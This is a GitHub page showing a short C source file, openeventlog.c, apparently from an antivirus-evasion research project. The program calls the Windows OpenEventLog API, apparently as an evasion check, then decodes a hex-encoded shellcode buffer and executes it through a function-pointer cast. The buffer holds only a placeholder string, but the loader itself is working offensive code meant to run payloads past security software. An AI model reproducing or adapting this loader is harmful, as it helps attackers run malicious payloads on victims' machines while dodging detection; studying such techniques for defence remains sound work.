-
Notifications
You must be signed in to change notification settings - Fork 30
/
Copy pathopeneventlog.c
57 lines (46 loc) · 1.05 KB
/
openeventlog.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/*
Author: Daniel Sauder
Filename: openeventlog.c
Website: http://govolution.wordpress.com
License http://creativecommons.org/licenses/by-sa/3.0/
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <windows.h>
#include <tchar.h>
#include <stdlib.h>
void exec_shellcode(unsigned char *shellcode)
{
int (*funct)();
funct = (int (*)()) shellcode;
(int)(*funct)();
}
unsigned char* decode_shellcode(unsigned char *buffer, unsigned char *shellcode, int size)
{
int j=0;
shellcode=malloc((size/2));
int i=0;
do
{
unsigned char temp[3]={0};
sprintf((char*)temp,"%c%c",buffer[i],buffer[i+1]);
shellcode[j] = strtoul(temp, NULL, 16);
i+=2;
j++;
} while(i<size);
return shellcode;
}
int main (int argc, char **argv)
{
unsigned char *shellcode;
unsigned char buffer[]= "encoded shellcode";
HANDLE h;
h = OpenEventLog( NULL, "Application");
if (h == NULL)
printf("error\n");
int size = sizeof(buffer);
shellcode = decode_shellcode(buffer,shellcode,size);
exec_shellcode(shellcode);
}